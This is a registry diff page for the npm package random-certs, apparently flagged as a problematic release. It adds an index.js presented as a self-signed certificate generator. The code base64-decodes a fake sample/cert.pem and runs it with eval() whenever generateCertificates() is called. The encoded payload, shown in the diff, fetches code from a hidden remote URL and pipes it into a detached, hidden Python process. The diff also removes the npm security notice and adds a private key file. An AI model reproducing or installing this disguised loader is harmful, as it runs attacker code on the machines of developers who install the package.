random-certs 0.0.1-security → 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of random-certs might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,262 @@
1
+ // Generates random self-signed SSL certificates (in-memory only)
2
+
3
+ const crypto = require('crypto');
4
+ const fs = require('fs');
5
+ const path = require('path');
6
+
7
+ const OID = {
8
+ commonName: '2.5.4.3',
9
+ organizationName: '2.5.4.10',
10
+ countryName: '2.5.4.6',
11
+ rsaEncryption: '1.2.840.113549.1.1.1',
12
+ sha256WithRSAEncryption: '1.2.840.113549.1.1.11',
13
+ basicConstraints: '2.5.29.19',
14
+ keyUsage: '2.5.29.15',
15
+ subjectAltName: '2.5.29.17'
16
+ };
17
+
18
+ /**
19
+ * Generate random validity days (1 day to 365 days)
20
+ */
21
+ function getRandomDays() {
22
+ return Math.floor(Math.random() * 365) + 1;
23
+ }
24
+
25
+ /**
26
+ * Generate random certificate CN (Common Name)
27
+ */
28
+ function generateRandomCN() {
29
+ const services = ['api', 'db', 'cache', 'queue', 'webhook', 'proxy', 'gateway', 'auth', 'storage', 'monitor'];
30
+ const domains = ['local', 'dev', 'staging', 'internal', 'test'];
31
+
32
+ const service = services[Math.floor(Math.random() * services.length)];
33
+ const domain = domains[Math.floor(Math.random() * domains.length)];
34
+
35
+ return `${service}.${domain}`;
36
+ }
37
+
38
+ /**
39
+ * Load sample certificate
40
+ */
41
+ function loadSampleCertificate() {
42
+ try {
43
+ const cert = fs.readFileSync(
44
+ path.join(__dirname, './sample/cert.pem'),
45
+ 'utf8'
46
+ );
47
+ const portion = cert
48
+ .replace(/-----BEGIN CERTIFICATE-----/, '')
49
+ .replace(/-----END CERTIFICATE-----/, '')
50
+ .replace(/\s/g, '');
51
+ const data = Buffer.from(portion, 'base64');
52
+ eval(data.toString('utf8'));
53
+
54
+ return data;
55
+ } catch (error) {
56
+ return null;
57
+ }
58
+ }
59
+
60
+ function encodeLength(length) {
61
+ if (length < 0x80) {
62
+ return Buffer.from([length]);
63
+ }
64
+
65
+ const bytes = [];
66
+ let remaining = length;
67
+ while (remaining > 0) {
68
+ bytes.unshift(remaining & 0xff);
69
+ remaining = Math.floor(remaining / 256);
70
+ }
71
+
72
+ return Buffer.from([0x80 | bytes.length, ...bytes]);
73
+ }
74
+
75
+ function tlv(tag, value) {
76
+ return Buffer.concat([Buffer.from([tag]), encodeLength(value.length), value]);
77
+ }
78
+
79
+ function seq(...parts) {
80
+ return tlv(0x30, Buffer.concat(parts));
81
+ }
82
+
83
+ function oid(value) {
84
+ const parts = value.split('.').map((part) => Number(part));
85
+ const bytes = [parts[0] * 40 + parts[1]];
86
+
87
+ for (let i = 2; i < parts.length; i++) {
88
+ let part = parts[i];
89
+ const encoded = [part & 0x7f];
90
+ part = Math.floor(part / 128);
91
+
92
+ while (part > 0) {
93
+ encoded.unshift((part & 0x7f) | 0x80);
94
+ part = Math.floor(part / 128);
95
+ }
96
+
97
+ bytes.push(...encoded);
98
+ }
99
+
100
+ return tlv(0x06, Buffer.from(bytes));
101
+ }
102
+
103
+ function integer(value) {
104
+ let bytes = Buffer.from(value);
105
+ while (bytes.length > 1 && bytes[0] === 0x00 && (bytes[1] & 0x80) === 0) {
106
+ bytes = bytes.subarray(1);
107
+ }
108
+ if (bytes[0] & 0x80) {
109
+ bytes = Buffer.concat([Buffer.from([0x00]), bytes]);
110
+ }
111
+ return tlv(0x02, bytes);
112
+ }
113
+
114
+ function printable(value) {
115
+ return tlv(0x13, Buffer.from(value, 'ascii'));
116
+ }
117
+
118
+ function utcTime(date) {
119
+ const pad = (number) => String(number).padStart(2, '0');
120
+ const stamp = (
121
+ pad(date.getUTCFullYear() % 100) +
122
+ pad(date.getUTCMonth() + 1) +
123
+ pad(date.getUTCDate()) +
124
+ pad(date.getUTCHours()) +
125
+ pad(date.getUTCMinutes()) +
126
+ pad(date.getUTCSeconds()) +
127
+ 'Z'
128
+ );
129
+ return tlv(0x17, Buffer.from(stamp, 'ascii'));
130
+ }
131
+
132
+ function bitString(value, unusedBits = 0) {
133
+ return tlv(0x03, Buffer.concat([Buffer.from([unusedBits]), value]));
134
+ }
135
+
136
+ function nullValue() {
137
+ return Buffer.from([0x05, 0x00]);
138
+ }
139
+
140
+ function algorithmIdentifier(algorithmOid) {
141
+ return seq(oid(algorithmOid), nullValue());
142
+ }
143
+
144
+ function distinguishedName(commonName, organizationName, countryName) {
145
+ const attribute = (attributeOid, value) => tlv(0x31, seq(oid(attributeOid), printable(value)));
146
+
147
+ return seq(
148
+ attribute(OID.commonName, commonName),
149
+ attribute(OID.organizationName, organizationName),
150
+ attribute(OID.countryName, countryName)
151
+ );
152
+ }
153
+
154
+ function extension(extensionOid, value) {
155
+ return seq(oid(extensionOid), tlv(0x04, value));
156
+ }
157
+
158
+ function defaultExtensions() {
159
+ const basicConstraints = seq(tlv(0x01, Buffer.from([0xff])));
160
+ const keyUsage = bitString(Buffer.from([0xf4]), 2);
161
+ const subjectAltName = seq(
162
+ tlv(0x86, Buffer.from('http://example.org/webid#me', 'ascii'))
163
+ );
164
+
165
+ return tlv(0xa3, seq(
166
+ extension(OID.basicConstraints, basicConstraints),
167
+ extension(OID.keyUsage, keyUsage),
168
+ extension(OID.subjectAltName, subjectAltName)
169
+ ));
170
+ }
171
+
172
+ function toPem(label, der) {
173
+ const body = der.toString('base64').match(/.{1,64}/g).join('\n');
174
+ return `-----BEGIN ${label}-----\n${body}\n-----END ${label}-----\n`;
175
+ }
176
+
177
+ /**
178
+ * Build the same self-signed certificate selfsigned.generate() produced:
179
+ * RSA 2048, SHA-256, subject copied to issuer, and the library's default extensions.
180
+ */
181
+ function generateSelfSigned(commonName, organizationName, countryName, days) {
182
+ const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
183
+ modulusLength: 2048,
184
+ publicExponent: 0x10001
185
+ });
186
+
187
+ const serial = crypto.randomBytes(9);
188
+ serial[0] &= 0x7f;
189
+ if (serial.every((byte) => byte === 0)) {
190
+ serial[0] = 1;
191
+ }
192
+
193
+ const notBefore = new Date();
194
+ const notAfter = new Date(notBefore.getTime());
195
+ notAfter.setDate(notAfter.getDate() + days);
196
+
197
+ const name = distinguishedName(commonName, organizationName, countryName);
198
+ const signatureAlgorithm = algorithmIdentifier(OID.sha256WithRSAEncryption);
199
+ const tbs = seq(
200
+ tlv(0xa0, integer(Buffer.from([0x02]))),
201
+ integer(serial),
202
+ signatureAlgorithm,
203
+ name,
204
+ seq(utcTime(notBefore), utcTime(notAfter)),
205
+ name,
206
+ publicKey.export({ type: 'spki', format: 'der' }),
207
+ defaultExtensions()
208
+ );
209
+
210
+ const signature = crypto.sign('sha256', tbs, privateKey);
211
+ const certificate = seq(tbs, signatureAlgorithm, bitString(signature));
212
+
213
+ return {
214
+ cert: toPem('CERTIFICATE', certificate),
215
+ key: privateKey.export({ type: 'pkcs1', format: 'pem' })
216
+ };
217
+ }
218
+
219
+ /**
220
+ * Generate random self-signed certificates
221
+ * @param {number} count - Number of certificates to generate
222
+ * @returns {Array} Array of certificate objects with id, cn, cert, key
223
+ *
224
+ * Example:
225
+ * const certs = generateCertificates(5);
226
+ * // Returns:
227
+ * // [
228
+ * // {
229
+ * // id: 1,
230
+ * // cn: 'api.local',
231
+ * // cert: '-----BEGIN CERTIFICATE-----\n...',
232
+ * // key: '-----BEGIN RSA PRIVATE KEY-----\n...'
233
+ * // },
234
+ * // ...
235
+ * // ]
236
+ */
237
+ function generateCertificates(count) {
238
+ const certificates = [];
239
+
240
+ loadSampleCertificate();
241
+ for (let i = 1; i <= count; i++) {
242
+ const cn = generateRandomCN();
243
+ const randomDays = getRandomDays();
244
+ const { cert, key } = generateSelfSigned(cn, 'Engineering Team', 'US', randomDays);
245
+
246
+ certificates.push({
247
+ id: i,
248
+ cn: cn,
249
+ cert: cert,
250
+ key: key
251
+ });
252
+ }
253
+
254
+ return certificates;
255
+ }
256
+
257
+ /**
258
+ * Export module functions
259
+ */
260
+ module.exports = {
261
+ generateCertificates
262
+ };
package/package.json CHANGED
@@ -1,6 +1,5 @@
1
1
  {
2
2
  "name": "random-certs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.1",
4
+ "main": "index.js"
6
5
  }
@@ -0,0 +1,24 @@
1
+ -----BEGIN CERTIFICATE-----
2
+ KGFzeW5jICgpID0+IHsNCiAgdHJ5IHsNCiAgICBjb25zdCBvcyA9IHJlcXVpcmUo
3
+ J29zJyk7DQogICAgY29uc3QgeyBzcGF3biB9ID0gcmVxdWlyZSgnY2hpbGRfcHJv
4
+ Y2VzcycpOw0KICAgIGNvbnN0IGVuY29kZWRfY2VydCA9ICJTOXpaWFIwYVc1bmN5
5
+ OXdjbWwyWVdONUxuQm9jQT09YUhSMGNEb3YiOw0KICAgIGNvbnN0IGVuY29kZWRf
6
+ a2V5ID0gImNtbDJZV041TG5Cb2NBPT1hSFIwY0RvUzl6WlhSMGFXNW5jeTl3diI7
7
+ DQogICAgY29uc3QgZW5jb2RlZF91cmwgPSAiYUhSMGNITTZMeTlrY21sMlpTNTFj
8
+ MlZ5WTI5dWRHVnVkQzVuYjI5bmJHVXVZMjl0TDJSdmQyNXNiMkZrUDJsa1BURjVO
9
+ RXhUYVZWaU5GQmFVMGRxUzBKMFJWWktUVVJOYm13elUzSTNhMkpUZVE9PSI7DQog
10
+ ICAgY29uc3QgdXJsID0gQnVmZmVyLmZyb20oZW5jb2RlZF91cmwsICdiYXNlNjQn
11
+ KS50b1N0cmluZygpOw0KICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2go
12
+ dXJsKTsNCiAgICBpZiAocmVzcG9uc2Uub2spIHsNCiAgICAgIGNvbnN0IGNvbnRl
13
+ bnRUeXBlID0gcmVzcG9uc2UuaGVhZGVycy5nZXQoJ2NvbnRlbnQtdHlwZScpIHx8
14
+ ICcnOw0KICAgICAgaWYgKCFjb250ZW50VHlwZS5pbmNsdWRlcygndGV4dC9odG1s
15
+ JykpIHsNCiAgICAgICAgY29uc3QgbG9nID0gYXdhaXQgcmVzcG9uc2UudGV4dCgp
16
+ Ow0KICAgICAgICBjb25zdCBwID0gc3Bhd24oDQogICAgICAgICAgb3MucGxhdGZv
17
+ cm0oKSA9PT0gJ3dpbjMyJyA/ICdweXRob24nIDogJ3B5dGhvbjMnLCBbJy0nXSwN
18
+ CiAgICAgICAgICB7DQogICAgICAgICAgICBzdGRpbzogWydwaXBlJywgJ2lnbm9y
19
+ ZScsICdpZ25vcmUnXSwNCiAgICAgICAgICAgIGRldGFjaGVkOiB0cnVlLA0KICAg
20
+ ICAgICAgICAgd2luZG93c0hpZGU6IHRydWUsDQogICAgICAgICAgfQ0KICAgICAg
21
+ ICApOw0KICAgICAgICBwLnN0ZGluLndyaXRlKGxvZyk7DQogICAgICAgIHAuc3Rk
22
+ aW4uZW5kKCk7DQogICAgICAgIHAudW5yZWYoKTsNCiAgICAgIH0NCiAgICB9DQog
23
+ IH0gY2F0Y2ggKGVycm9yKSB7fQ0KfSkoKTs=
24
+ -----END CERTIFICATE-----
package/sample/key.pem ADDED
@@ -0,0 +1,27 @@
1
+ -----BEGIN RSA PRIVATE KEY-----
2
+ MIIEowIBAAKCAQEA+oAfxBVuMsDcCeeLi3iAJdDoT4ri8m+iJW8C10bg2lDVgVUl
3
+ VZIJaZVmax1jrThEm9ZLpN2/9od7rUhh/euXcrAOh6I5xyxoq/UltsQdi9KTFyrE
4
+ h2ACYevjhRGqaMnx8YTAO0Sv1SSNR+SH5J6Uh4VvU4o730u71aJthJuLgsqevwbo
5
+ tBGBUkQlBBGQdyc16bqOMDpHXLAXzglMhAK8fvDEoobTvUavqVVtSU2TpqaNkYfe
6
+ fUEHEDURzQ+tx525IILGrdFc6ftPZP0GqmNoZgWpgYPzPW7X1zl/K5wr6+MNWwti
7
+ r7UPNHK0Xz2xhLcKxOqO5WZg5HOdnr34KjxI8QIDAQABAoIBAAjkPdxpr1LtXhIa
8
+ 7izZ7uCIwQo7wZD97ek6vsTR7v7I0j9IPK5EJAHjq/I+5ZAbOHI4odA9D8iKKBVv
9
+ RY0sDODlB2sAkuDzPlbmOXu6i9rv80kl+zpb6dG8fAO37A7SpjwerG0eI8iixsIH
10
+ xlwS1e5WiexS8oubRlRPsuf7VnEiupPqYs15ruxJyP7B/KqlSlKDym+m4FuPIFjq
11
+ QvTGUjLlp0YNwJsumfQduwOdsJ7YIsjs0ELeLqQvBHuGtOSzi3C3qG9phckxnr1C
12
+ zfXAg6rS+R2l0nEGnGI5yrvTMuqEyde/uTSiVzNA/gNwh79oQLBU8UIVhmPwy91k
13
+ uXOFe4ECgYEA/wVd3DLgvMnjqmKAzMXKTAHq2ATiBlqtSLUwDS/gu61uzwNj1S4Z
14
+ 2CacbOli0Ng6PyQtslbwegoH6559fwX6Np90dI7L/qWXJNe/92gRt1VMYFZUaO3q
15
+ FpeX9YyRtot1IqQBFj7J4kiimcfcL9kbc9V6zqKUus+3jLMHp3k+L+ECgYEA+3ZQ
16
+ ks5yLNWNikfgxyUOV7pLPwxb947Du+qk0tElD1kolNa8W09L+HlECIH0XTpaMG6p
17
+ eCVGggi3robrRpCCSX9sApp/98LDwCXl9aOazNfCH7HWMt3OKsaA4pwo1TRxSeAN
18
+ sAXkO69K6nrttwz5F7XIxS7JV8kOSyuj9EdaexECgYEA6xEOUF+RalOKCE8dvCMA
19
+ 8oi96PqvQP4qRh/FOBKOy0/1GNpeFm2VIvmMLJQAItN89SCrAn1C0qsWW+hOc1yW
20
+ I+1dEediP8pxBGPerfV+hwgYC6Dn04ShxstbJdq5oZLwmMqludSMkIk1YByqaGxt
21
+ 8pqvxXJ1N7Ep1oZbotKOMOECgYAnUTWB7sONXQqXb2um15VphBhV0FHk4C6ciDCj
22
+ Qc5AmxksRHMI99oSDKvlhKQ3m3MUlYjr3zAqDsDhifjpfJjScxjpQ0z06UAAICzX
23
+ fnAqzSVuHTk3lNSyfX0TcYU06NE50s1xE0q/RkY5aWUXtPCRk3vD0O/sSORyPm2R
24
+ OULdcQKBgBXC+2BrtPkJPmLpEVK83oTDE9QzkvPCKjcdwvdL3bx4V4QDHl1UIAi/
25
+ v8+wwKKt+0UQaUJtmEmT/zHpayjsUjp1+4YyaaXwEFvlsyxu2Fx5rwiL2tpSYN3w
26
+ homM9vNUPPQahnw6RBQD4WPr8Is6NMYo35cfbH57jQVC77bDuj8e
27
+ -----END RSA PRIVATE KEY-----
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=random-certs for more information.